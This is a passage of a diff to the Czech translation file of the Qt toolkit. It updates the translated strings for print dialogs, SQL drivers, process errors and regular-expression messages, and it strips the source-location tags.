+ <translation type="obsolete">Nebyl zadán název pro hostitelský počítač</translation>
</message>
<message>
<source>Read error reading from %1: %2</source>
<translation type="obsolete">Při čtení ze souboru %1 nastala chyba: %2</translation>
</message>
<message>
- <location filename="../src/network/access/qnetworkaccessdebugpipebackend.cpp" line="+15"/>
<source>Remote host closed the connection prematurely on %1</source>
- <translation>Vzdálený počítač předčasně ukončil spojení s %1</translation>
+ <translation type="obsolete">Vzdálený počítač předčasně ukončil spojení s %1</translation>
</message>
<message>
- <location filename="../src/network/access/qnetworkaccessdatabackend.cpp" line="-57"/>
<source>Operation not supported on %1</source>
- <translation>Tato operace není %1 podporována</translation>
+ <translation type="obsolete">Tato operace není %1 podporována</translation>
</message>
<message>
<source>Write error writing to %1: %2</source>
<translation type="obsolete">Při zápisu do souboru %1: %2 nastala chyba</translation>
</message>
+ <message>
+ <source>PulseAudio Sound Server</source>
+ <translation>Zvukový server PulseAudio</translation>
+ </message>
+ <message>
+ <source>&quot;%1&quot; duplicates a previous role name and will be disabled.</source>
+ <translation>&quot;%1&quot; je již zadán jako název předchozí úlohy, a je proto vypnut.</translation>
+ </message>
+ <message>
+ <source>invalid query: &quot;%1&quot;</source>
+ <translation>Neplátný dotaz: &quot;%1&quot;</translation>
+ </message>
</context>
<context>
<name>QPPDOptionsModel</name>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="+1198"/>
<source>Name</source>
<translation>Název</translation>
</message>
<message>
- <location line="+2"/>
<source>Value</source>
<translation>Hodnota</translation>
</message>
@@ -3720,32 +4291,26 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QPSQLDriver</name>
<message>
- <location filename="../src/sql/drivers/psql/qsql_psql.cpp" line="+1251"/>
<source>Unable to subscribe</source>
<translation>Registrace se nezdařila</translation>
</message>
<message>
- <location line="-420"/>
<source>Could not begin transaction</source>
<translation>Transakci se nepodařilo spustit</translation>
</message>
<message>
- <location line="+46"/>
<source>Could not rollback transaction</source>
<translation>Transakci se nepodařilo zvrátit (operace &apos;rollback&apos;, zvrácení, se nezdařila)</translation>
</message>
<message>
- <location line="-16"/>
<source>Could not commit transaction</source>
<translation>Transakci se nepodařilo provést (operace &apos;commit&apos;, odeslání, se nezdařila)</translation>
</message>
<message>
- <location line="-79"/>
<source>Unable to connect</source>
<translation>Nepodařilo se navázat spojení</translation>
</message>
<message>
- <location line="+501"/>
<source>Unable to unsubscribe</source>
<translation>Registraci se nepodařilo zrušit</translation>
</message>
@@ -3753,12 +4318,10 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QPSQLResult</name>
<message>
- <location line="-713"/>
<source>Unable to prepare statement</source>
<translation>Příkaz se nepodařilo připravit</translation>
</message>
<message>
- <location line="-372"/>
<source>Unable to create query</source>
<translation>Nepodařilo se vytvořit žádný dotaz</translation>
</message>
@@ -3766,102 +4329,82 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QPageSetupWidget</name>
<message>
- <location filename="../src/gui/dialogs/qpagesetupwidget.ui"/>
<source>Form</source>
<translation>Formulář</translation>
</message>
<message>
- <location/>
<source>bottom margin</source>
<translation>Dolní okraj</translation>
</message>
<message>
- <location/>
<source>Paper</source>
<translation>Papír</translation>
</message>
<message>
- <location/>
<source>Paper source:</source>
<translation>Zdroj papíru:</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qpagesetupdialog_unix.cpp" line="+304"/>
<source>Centimeters (cm)</source>
<translation>Centimetry (cm)</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qpagesetupwidget.ui"/>
<source>right margin</source>
<translation>Pravý okraj</translation>
</message>
<message>
- <location/>
<source>Margins</source>
<translation>Okraje</translation>
</message>
<message>
- <location/>
<source>Landscape</source>
<translation>Formát na šířku</translation>
</message>
<message>
- <location/>
<source>Width:</source>
<translation>Šířka:</translation>
</message>
<message>
- <location/>
<source>Orientation</source>
<translation>Zaměření</translation>
</message>
<message>
- <location/>
<source>Portrait</source>
<translation>Formát na výšku</translation>
</message>
<message>
- <location/>
<source>top margin</source>
<translation>Horní okraj</translation>
</message>
<message>
- <location/>
<source>left margin</source>
<translation>Levý okraj</translation>
</message>
<message>
- <location/>
<source>Page size:</source>
<translation>Velikost stran:</translation>
</message>
<message>
- <location/>
<source>Reverse portrait</source>
<translation>Obrácený formát na výšku</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qpagesetupdialog_unix.cpp" line="+0"/>
<source>Millimeters (mm)</source>
<translation>Milimetry (mm)</translation>
</message>
<message>
- <location line="+0"/>
<source>Points (pt)</source>
<translation>Body (pt)</translation>
</message>
<message>
- <location line="+0"/>
<source>Inches (in)</source>
<translation>Palce (in)</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qpagesetupwidget.ui"/>
<source>Reverse landscape</source>
<translation>Obrácený formát na šířku</translation>
</message>
<message>
- <location/>
<source>Height:</source>
<translation>Výška:</translation>
</message>
@@ -3869,12 +4412,10 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QPluginLoader</name>
<message>
- <location filename="../src/corelib/plugin/qpluginloader.cpp" line="-89"/>
<source>The plugin was not loaded.</source>
<translation>Přídavný modul nebyl nahrán.</translation>
</message>
<message>
- <location line="+113"/>
<source>Unknown error</source>
<translation>Neznámá chyba</translation>
</message>
@@ -3882,428 +4423,344 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QPrintDialog</name>
<message>
- <location filename="../src/gui/dialogs/qpagesetupdialog_unix.cpp" line="-232"/>
<source>A0</source>
<translation>A0</translation>
</message>
<message>
- <location line="+1"/>
<source>A1</source>
<translation>A1</translation>
</message>
<message>
- <location line="+1"/>
<source>A2</source>
<translation>A2</translation>
</message>
<message>
- <location line="+1"/>
<source>A3</source>
<translation>A3</translation>
</message>
<message>
- <location line="+1"/>
<source>A4</source>
<translation>A4</translation>
</message>
<message>
- <location line="+1"/>
<source>A5</source>
<translation>A5</translation>
</message>
<message>
- <location line="+1"/>
<source>A6</source>
<translation>A6</translation>
</message>
<message>
- <location line="+1"/>
<source>A7</source>
<translation>A7</translation>
</message>
<message>
- <location line="+1"/>
<source>A8</source>
<translation>A8</translation>
</message>
<message>
- <location line="+1"/>
<source>A9</source>
<translation>A9</translation>
</message>
<message>
- <location line="+1"/>
<source>B0</source>
<translation>B0</translation>
</message>
<message>
- <location line="+1"/>
<source>B1</source>
<translation>B1</translation>
</message>
<message>
- <location line="+1"/>
<source>B2</source>
<translation>B2</translation>
</message>
<message>
- <location line="+1"/>
<source>B3</source>
<translation>B3</translation>
</message>
<message>
- <location line="+1"/>
<source>B4</source>
<translation>B4</translation>
</message>
<message>
- <location line="+1"/>
<source>B5</source>
<translation>B5</translation>
</message>
<message>
- <location line="+1"/>
<source>B6</source>
<translation>B6</translation>
</message>
<message>
- <location line="+1"/>
<source>B7</source>
<translation>B7</translation>
</message>
<message>
- <location line="+1"/>
<source>B8</source>
<translation>B8</translation>
</message>
<message>
- <location line="+1"/>
<source>B9</source>
<translation>B9</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_win.cpp" line="+266"/>
<source>OK</source>
<translation>OK</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qpagesetupdialog_unix.cpp" line="+1"/>
<source>B10</source>
<translation>B10</translation>
</message>
<message>
- <location line="+1"/>
<source>C5E</source>
<translation>C5E</translation>
</message>
<message>
- <location line="+1"/>
<source>DLE</source>
<translation>DLE</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="+335"/>
<source>A6 (105 x 148 mm)</source>
<translation>A6 (105 x 148 mm)</translation>
</message>
<message>
- <location line="+20"/>
<source>Legal (8.5 x 14 inches, 216 x 356 mm)</source>
<translation>Právní (8,5 x 14 palců, 216 x 356 mm)</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qpagesetupdialog_unix.cpp" line="+2"/>
<source>Folio</source>
<translation>Folio</translation>
</message>
<message>
- <location line="+2"/>
<source>Legal</source>
<translation>Právní</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="+20"/>
<source>Print all</source>
<translation>Tisknout vše</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qabstractprintdialog.cpp" line="+112"/>
- <location line="+13"/>
- <location filename="../src/gui/dialogs/qprintdialog_win.cpp" line="-2"/>
<source>Print</source>
<translation>Tisk</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="-733"/>
<source>&amp;Options &lt;&lt;</source>
<translation>&amp;Nastavení &lt;&lt; </translation>
</message>
<message>
- <location line="-72"/>
- <location line="+68"/>
<source>&amp;Options &gt;&gt;</source>
<translation>&amp;Nastavení &gt;&gt;</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="-30"/>
<source>B6 (125 x 176 mm)</source>
<translation>B6 (125 x 176 mm)</translation>
</message>
<message>
- <location line="+2"/>
<source>B8 (62 x 88 mm)</source>
<translation>B8 (62 x 88 mm)</translation>
</message>
<message>
- <location line="-10"/>
<source>A8 (52 x 74 mm)</source>
<translation>A8 (52 x 74 mm)</translation>
</message>
<message>
- <location line="+11"/>
<source>B9 (44 x 62 mm)</source>
<translation>B9 (44 x 62 mm)</translation>
</message>
<message>
- <location line="-10"/>
<source>A9 (37 x 52 mm)</source>
<translation>A9 (37 x 52 mm)</translation>
</message>
<message>
- <location line="+1"/>
<source>B0 (1000 x 1414 mm)</source>
<translation>B0 (1000 x 1414 mm)</translation>
</message>
<message>
- <location line="-5"/>
<source>A5 (148 x 210 mm)</source>
<translation>A5 (148 x 210 mm)</translation>
</message>
<message>
- <location line="+23"/>
<source>Tabloid (279 x 432 mm)</source>
<translation>Bulvární noviny/tisk (279 x 432 mm)</translation>
</message>
<message>
- <location line="-8"/>
<source>B10 (31 x 44 mm)</source>
<translation>B10 (31 x 44 mm)</translation>
</message>
<message>
- <location line="-8"/>
<source>B2 (500 x 707 mm)</source>
<translation>B2 (500 x 707 mm)</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="-63"/>
<source>&amp;Print</source>
<translation>&amp;Tisk</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="-9"/>
<source>A3 (297 x 420 mm)</source>
<translation>A3 (297 x 420 mm)</translation>
</message>
<message>
- <location line="+44"/>
<source>Print selection</source>
<translation>Tisk výběru</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="+321"/>
<source>Print to File (Postscript)</source>
<translation>Tisk do souboru (Postscript)</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="-33"/>
<source>B4 (250 x 353 mm)</source>
<translation>B4 (250 x 353 mm)</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="+206"/>
<source>%1 already exists.
Do you want to overwrite it?</source>
<translation>Soubor %1 již existuje.
Má se přepsat?</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="-13"/>
<source>A1 (594 x 841 mm)</source>
<translation>A1 (594 x 841 mm)</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qpagesetupdialog_unix.cpp" line="+4"/>
<source>Custom</source>
<translation>Stanovený uživatelem</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="+10"/>
<source>B1 (707 x 1000 mm)</source>
<translation>B1 (707 x 1000 mm)</translation>
</message>
<message>
- <location line="+13"/>
<source>Folio (210 x 330 mm)</source>
<translation>Folio (210 x 330 mm)</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qpagesetupdialog_unix.cpp" line="-5"/>
<source>Ledger</source>
<translation>Hlavní (účetní) kniha</translation>
</message>
<message>
- <location line="+2"/>
<source>Letter</source>
<translation>Dopis</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="-2"/>
<source>DLE (110 x 220 mm)</source>
<translation>DLE (110 x 220 mm)</translation>
</message>
<message>
- <location line="-1"/>
<source>C5E (163 x 229 mm)</source>
<translation>C5E (163 x 229 mm)</translation>
</message>
<message>
- <location line="-6"/>
<source>B5 (176 x 250 mm, 6.93 x 9.84 inches)</source>
<translation>B5 (176 x 250 mm, 6.93 x 9.84 palců</translation>
</message>
<message>
- <location line="+33"/>
<source>Print range</source>
<translation>Tisková oblast</translation>
</message>
<message>
- <location line="-229"/>
+ <source>Print current page</source>
+ <translation>Vytisknout tuto stranu</translation>
+ </message>
+ <message>
<source>File exists</source>
<translation>Soubor již existuje</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="-158"/>
<source>Write %1 file</source>
<translation>Zapsat %1 soubor</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="+181"/>
<source>A0 (841 x 1189 mm)</source>
<translation>A0 (841 x 1189 mm)</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="-1"/>
<source>Local file</source>
<translation>Místní soubor</translation>
</message>
<message>
- <location filename="../src/gui/painting/qprinterinfo_unix.cpp" line="+108"/>
<source>locally connected</source>
<translation>přímo spojeno</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="+25"/>
<source>Ledger (432 x 279 mm)</source>
<translation>Hlavní (účetní) kniha (432 x 279 mm)</translation>
</message>
<message>
- <location filename="../src/gui/painting/qprinterinfo_unix.cpp" line="+23"/>
- <location line="+225"/>
<source>Aliases: %1</source>
<translation>Přezdívka: %1</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="-48"/>
<source>Print to File (PDF)</source>
<translation>Tisk do souboru (PDF)</translation>
</message>
<message>
- <location line="+123"/>
<source>Print To File ...</source>
<translation>Tisk do souboru...</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="+4"/>
<source>US Common #10 Envelope (105 x 241 mm)</source>
<translation>US běžná #10 obálka (105 x 241 mm)</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qpagesetupdialog_unix.cpp" line="+1"/>
<source>Tabloid</source>
<translation>Bulvární noviny</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="-25"/>
<source>A4 (210 x 297 mm, 8.26 x 11.7 inches)</source>
<translation>A4 (210 x 297 mm, 8.26 x 11.7 palců)</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qpagesetupdialog_unix.cpp" line="-5"/>
<source>Executive</source>
<translation>Prováděcí</translation>
</message>
<message>
- <location filename="../src/gui/painting/qprinterinfo_unix.cpp" line="+223"/>
- <location line="+199"/>
<source>unknown</source>
<translation>Neznámý</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="-184"/>
<source>&lt;qt&gt;Do you want to overwrite it?&lt;/qt&gt;</source>
<translation>&lt;qt&gt;Chcete jej přepsat?&lt;/qt&gt;</translation>
</message>
<message>
- <location line="+203"/>
<source>Executive (7.5 x 10 inches, 191 x 254 mm)</source>
<translation>Prováděcí (7,5 x 10 palců, 191 x 254 mm)</translation>
</message>
<message>
- <location line="+4"/>
<source>Letter (8.5 x 11 inches, 216 x 279 mm)</source>
<translation>Dopis (8,5 x 11 palců, 216 x 279 mm)</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_win.cpp" line="+1"/>
<source>The &apos;From&apos; value cannot be greater than the &apos;To&apos; value.</source>
<translation>Údaj pro první stranu nesmí být větší než údaj pro poslední stranu.</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qpagesetupdialog_unix.cpp" line="+6"/>
<source>US Common #10 Envelope</source>
<translation>US běžná #10 obálka</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="+76"/>
<source>%1 is a directory.
Please choose a different file name.</source>
<translation>%1 je adresář.
Zvolte, prosím, pro soubor jiný název.</translation>
</message>
<message>
- <location line="+4"/>
<source>File %1 is not writable.
Please choose a different file name.</source>
<translation>Soubor %1 je chráněn proti zápisu.
Zvolte, prosím, pro soubor jiný název.</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="-14"/>
<source>B3 (353 x 500 mm)</source>
<translation>B3 (353 x 500 mm)</translation>
</message>
<message>
- <location line="-6"/>
<source>A7 (74 x 105 mm)</source>
<translation>A7 (74 x 105 mm)</translation>
</message>
<message>
- <location line="-5"/>
<source>A2 (420 x 594 mm)</source>
<translation>A2 (420 x 594 mm)</translation>
</message>
<message>
- <location line="+15"/>
<source>B7 (88 x 125 mm)</source>
<translation>B7 (88 x 125 mm)</translation>
</message>
@@ -4311,107 +4768,86 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QPrintPreviewDialog</name>
<message>
- <location filename="../src/gui/dialogs/qprintpreviewdialog.cpp" line="+246"/>
<source>%1%</source>
<translation>%1%</translation>
</message>
<message>
- <location line="+68"/>
<source>Print Preview</source>
<translation>Náhled tisku</translation>
</message>
<message>
<source>Close</source>
- <translation type="obsolete">Zavřít</translation>
+ <translation>Zavřít</translation>
</message>
<message>
- <location line="+89"/>
<source>Print</source>
<translation>Tisk</translation>
</message>
<message>
- <location line="-46"/>
<source>Fit page</source>
<translation>Přizpůsobit stranu</translation>
</message>
<message>
- <location line="+11"/>
<source>Zoom in</source>
<translation>Zvětšit</translation>
</message>
<message>
- <location line="+8"/>
<source>Landscape</source>
<translation>Formát na šířku</translation>
</message>
<message>
- <location line="-7"/>
<source>Zoom out</source>
<translation>Zmenšit</translation>
</message>
<message>
- <location line="-13"/>
<source>Fit width</source>
<translation>Přizpůsobit šířku</translation>
</message>
<message>
- <location line="+19"/>
<source>Portrait</source>
<translation>Formát na výšku</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qabstractpagesetupdialog.cpp" line="+68"/>
- <location line="+12"/>
<source>Page Setup</source>
<translation>Nastavení strany</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qprintpreviewdialog.cpp" line="+29"/>
<source>Page setup</source>
<translation>Nastavení strany</translation>
</message>
<message>
- <location line="-16"/>
<source>Show overview of all pages</source>
<translation>Ukázat přehled všech stran</translation>
</message>
<message>
- <location line="-42"/>
<source>First page</source>
<translation>První strana</translation>
</message>
<message>
- <location line="+1"/>
<source>Last page</source>
<translation>Poslední strana</translation>
</message>
<message>
- <location line="+39"/>
<source>Show single page</source>
<translation>Ukázat jednotlivé strany</translation>
</message>
<message>
- <location line="+168"/>
<source>Export to PDF</source>
<translation>Vyvést do PDF</translation>
</message>
<message>
- <location line="-209"/>
<source>Previous page</source>
<translation>Předchozí strana</translation>
</message>
<message>
- <location line="-1"/>
<source>Next page</source>
<translation>Další strana</translation>
</message>
<message>
- <location line="+43"/>
<source>Show facing pages</source>
<translation>Ukázat strany ležící naproti</translation>
</message>
<message>
- <location line="+170"/>
<source>Export to PostScript</source>
<translation>Vyvést do PostScriptu</translation>
</message>
@@ -4419,17 +4855,14 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QPrintPropertiesWidget</name>
<message>
- <location filename="../src/gui/dialogs/qprintpropertieswidget.ui"/>
<source>Form</source>
<translation>Formulář</translation>
</message>
<message>
- <location/>
<source>Page</source>
<translation>Strana</translation>
</message>
<message>
- <location/>
<source>Advanced</source>
<translation>Rozšířené</translation>
</message>
@@ -4437,145 +4870,121 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QPrintSettingsOutput</name>
<message>
- <location filename="../src/gui/dialogs/qprintsettingsoutput.ui"/>
<source>to</source>
<translation>do</translation>
</message>
<message>
- <location/>
<source>Form</source>
<translation>Formulář</translation>
</message>
<message>
- <location/>
<source>None</source>
<translation>Žádný</translation>
</message>
<message>
- <location/>
<source>Color</source>
<translation>Barva</translation>
</message>
<message>
- <location/>
<source>Print all</source>
<translation>Tisknout vše</translation>
</message>
<message>
- <location/>
<source>Selection</source>
<translation>Výběr</translation>
</message>
<message>
- <location/>
<source>Long side</source>
<translation>Dlouhá strana</translation>
</message>
<message>
- <location/>
<source>Copies</source>
<translation>Počet exemplářů</translation>
</message>
<message>
- <location/>
<source>Print range</source>
<translation>Tisk oblasti</translation>
</message>
<message>
- <location/>
<source>Color Mode</source>
<translation>Barevný režim</translation>
</message>
<message>
- <location/>
<source>Options</source>
<translation>Volby</translation>
</message>
<message>
- <location/>
<source>Output Settings</source>
<translation>Nastavení výstupu</translation>
</message>
<message>
- <location/>
<source>Reverse</source>
<translation>Obrácený</translation>
</message>
<message>
- <location/>
<source>Grayscale</source>
<translation>Odstíny šedi</translation>
</message>
<message>
- <location/>
<source>Short side</source>
<translation>Krátká strana</translation>
</message>
<message>
- <location/>
<source>Collate</source>
<translation>Srovnat</translation>
</message>
<message>
- <location/>
<source>Copies:</source>
<translation>Počet exemplářů:</translation>
</message>
<message>
- <location/>
<source>Pages from</source>
<translation>Strany od</translation>
</message>
<message>
- <location/>
<source>Duplex Printing</source>
<translation>Zdvojený tisk</translation>
</message>
+ <message>
+ <source>Current Page</source>
+ <translation>Nynější strana</translation>
+ </message>
</context>
<context>
<name>QPrintWidget</name>
<message>
- <location filename="../src/gui/dialogs/qprintwidget.ui"/>
<source>...</source>
<translation>...</translation>
</message>
<message>
- <location/>
<source>Form</source>
<translation>Formulář</translation>
</message>
<message>
- <location/>
<source>Type:</source>
<translation>Typ:</translation>
</message>
<message>
- <location/>
<source>&amp;Name:</source>
<translation>&amp;Název:</translation>
</message>
<message>
- <location/>
<source>Output &amp;file:</source>
<translation>Výstupní &amp;soubor:</translation>
</message>
<message>
- <location/>
<source>P&amp;roperties</source>
<translation>&amp;Vlastnosti</translation>
</message>
<message>
- <location/>
<source>Preview</source>
<translation>Náhled</translation>
</message>
<message>
- <location/>
<source>Printer</source>
<translation>Tiskárna</translation>
</message>
<message>
- <location/>
<source>Location:</source>
<translation>Umístění:</translation>
</message>
@@ -4583,27 +4992,18 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QProcess</name>
<message>
- <location filename="../src/corelib/io/qprocess.cpp" line="+954"/>
- <location line="+826"/>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="+763"/>
<source>Error writing to process</source>
<translation>Zápis do procesu se nezdařil</translation>
</message>
<message>
- <location line="+203"/>
<source>No program defined</source>
<translation>Nestanoven žádný program</translation>
</message>
<message>
- <location filename="../src/corelib/io/qprocess_unix.cpp" line="+653"/>
<source>Resource error (fork failure): %1</source>
<translation>Potíže se zdroji (selhání rozcestí - &quot;fork failure&quot;): %1</translation>
</message>
<message>
- <location filename="../src/corelib/io/qprocess.cpp" line="-1128"/>
- <location line="+52"/>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="-190"/>
- <location line="+50"/>
<source>Error reading from process</source>
<translation>Čtení z procesu se nezdařilo</translation>
</message>
@@ -4612,37 +5012,22 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Spuštění procesu se nezdařilo</translation>
</message>
<message>
- <location filename="../src/corelib/io/qprocess_unix.cpp" line="-251"/>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="-486"/>
<source>Could not open input redirection for reading</source>
<translation>Vstupní přesměrování se nepodařilo otevřít pro čtení</translation>
</message>
<message>
- <location line="+12"/>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="+20"/>
<source>Could not open output redirection for writing</source>
<translation>Výstupní přesměrování se nepodařilo otevřít pro zápis</translation>
</message>
<message>
- <location line="+491"/>
- <location line="+52"/>
- <location line="+74"/>
- <location line="+66"/>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="+406"/>
- <location line="+50"/>
- <location line="+75"/>
- <location line="+42"/>
- <location line="+54"/>
<source>Process operation timed out</source>
<translation>Překročení času u procesu</translation>
</message>
<message>
- <location filename="../src/corelib/io/qprocess.cpp" line="+117"/>
<source>Process crashed</source>
<translation>Proces spadl</translation>
</message>
<message>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="-381"/>
<source>Process failed to start: %1</source>
<translation>Proces se nepodařilo spustit: %1</translation>
</message>
@@ -4650,7 +5035,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QProgressDialog</name>
<message>
- <location filename="../src/gui/dialogs/qprogressdialog.cpp" line="+196"/>
<source>Cancel</source>
<translation>Zrušit</translation>
</message>
@@ -4658,7 +5042,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QPushButton</name>
<message>
- <location filename="../src/plugins/accessible/widgets/simplewidgets.cpp" line="-4"/>
<source>Open</source>
<translation>Otevřít</translation>
</message>
@@ -4666,7 +5049,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QRadioButton</name>
<message>
- <location line="+12"/>
<source>Check</source>
<translation>Označit křížkem</translation>
</message>
@@ -4674,57 +5056,46 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QRegExp</name>
<message>
- <location filename="../src/corelib/tools/qregexp.cpp" line="+68"/>
<source>bad lookahead syntax</source>
<translation>nesprávná syntax pro plánování dopředu</translation>
</message>
<message>
- <location line="-3"/>
<source>no error occurred</source>
<translation>žádná chyba</translation>
</message>
<message>
- <location line="+6"/>
<source>missing left delim</source>
<translation>chybějící levé vymezení</translation>
</message>
<message>
- <location line="-4"/>
<source>bad char class syntax</source>
<translation>nesprávná syntax pro třídu znaku</translation>
</message>
<message>
- <location line="-1"/>
<source>disabled feature used</source>
<translation>byla použita zakázaná vlastnost</translation>
</message>
<message>
- <location line="+4"/>
<source>invalid octal value</source>
<translation>neplatná osmičková hodnota</translation>
</message>
<message>
- <location line="+4"/>
<source>invalid interval</source>
<translation>neplatný interval</translation>
</message>
<message>
- <location line="+1"/>
<source>invalid category</source>
<translation>neplatná skupina</translation>
</message>
<message>
- <location line="-6"/>
<source>bad repetition syntax</source>
<translation>nesprávná syntax pro opakování</translation>
</message>
<message>
- <location line="+4"/>
<source>met internal limit</source>
<translation>dosažena vnitřní mez</translation>
</message>
<message>
- <location line="-1"/>
<source>unexpected end</source>
<translation>neočekávaný konec</translation>
</message>
@@ -4732,7 +5103,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QSQLite2Driver</name>
<message>
- <location filename="../src/sql/drivers/sqlite2/qsql_sqlite2.cpp" line="+449"/>
<source>Unable to commit transaction</source>
<translation>Transakci se nepodařilo provést (operace &apos;commit&apos;, odeslání, se nezdařila)</translation>
</message>
@@ -4745,17 +5115,14 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Transakci se nepodařilo zvrátit (operace &apos;rollback&apos;, zvrácení, se nezdařila)</translation>
</message>
<message>
- <location line="-17"/>
<source>Unable to begin transaction</source>
<translation>Transakci se nepodařilo spustit</translation>
</message>
<message>
- <location line="-41"/>
<source>Error opening database</source>
<translation>Nepodařilo se otevřít spojení s databází</translation>
</message>
<message>
- <location line="+75"/>
<source>Unable to rollback transaction</source>
<translation>Transakci se nepodařilo zvrátit (operace &apos;rollback&apos;, zvrácení, se nezdařila)</translation>
</message>
@@ -4763,12 +5130,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QSQLite2Result</name>
<message>
- <location line="-176"/>
<source>Unable to execute statement</source>
<translation>Příkaz se nepodařilo provést</translation>
</message>
<message>
- <location line="-143"/>
<source>Unable to fetch results</source>
<translation>Výsledek se nepodařilo natáhnout</translation>
</message>
@@ -4776,27 +5141,22 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QSQLiteDriver</name>
<message>
- <location filename="../src/sql/drivers/sqlite/qsql_sqlite.cpp" line="+590"/>
<source>Unable to commit transaction</source>
<translation>Transakci se nepodařilo provést (operace &apos;commit&apos;, odeslání, se nezdařila)</translation>
</message>
<message>
- <location line="-35"/>
<source>Error closing database</source>
<translation>Nepodařilo se uzavřít spojení s datatabází</translation>
</message>
<message>
- <location line="-11"/>
<source>Error opening database</source>
<translation>Nepodařilo se otevřít spojení s databází</translation>
</message>
<message>
- <location line="+61"/>
<source>Unable to rollback transaction</source>
<translation>Transakci se nepodařilo zvrátit (operace &apos;rollback&apos;, zvrácení, se nezdařila)</translation>
</message>
<message>
- <location line="-30"/>
<source>Unable to begin transaction</source>
<translation>Transakci se nepodařilo spustit</translation>
</message>
@@ -4804,34 +5164,26 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QSQLiteResult</name>
<message>
- <location line="-378"/>
- <location line="+66"/>
- <location line="+8"/>
<source>Unable to fetch row</source>
<translation>Řádek se nepodařilo natáhnout</translation>
</message>
<message>
- <location line="-73"/>
<source>No query</source>
<translation>Žádný požadavek</translation>
</message>
<message>
- <location line="+132"/>
<source>Unable to execute statement</source>
<translation>Příkaz se nepodařilo provést</translation>
</message>
<message>
- <location line="+65"/>
<source>Unable to bind parameters</source>
<translation>Parametry se nepodařilo spojit</translation>
</message>
<message>
- <location line="-45"/>
<source>Unable to reset statement</source>
<translation>Příkaz se nepodařilo znovu nastavit</translation>
</message>
<message>
- <location line="+52"/>
<source>Parameter count mismatch</source>
<translation>Počet parametrů není správný</translation>
</message>
@@ -4839,32 +5191,26 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QScriptBreakpointsModel</name>
<message>
- <location filename="../src/scripttools/debugging/qscriptbreakpointsmodel.cpp" line="+455"/>
<source>ID</source>
<translation>ID</translation>
</message>
<message>
- <location line="+2"/>
<source>Location</source>
<translation>Umístění</translation>
</message>
<message>
- <location line="+2"/>
<source>Condition</source>
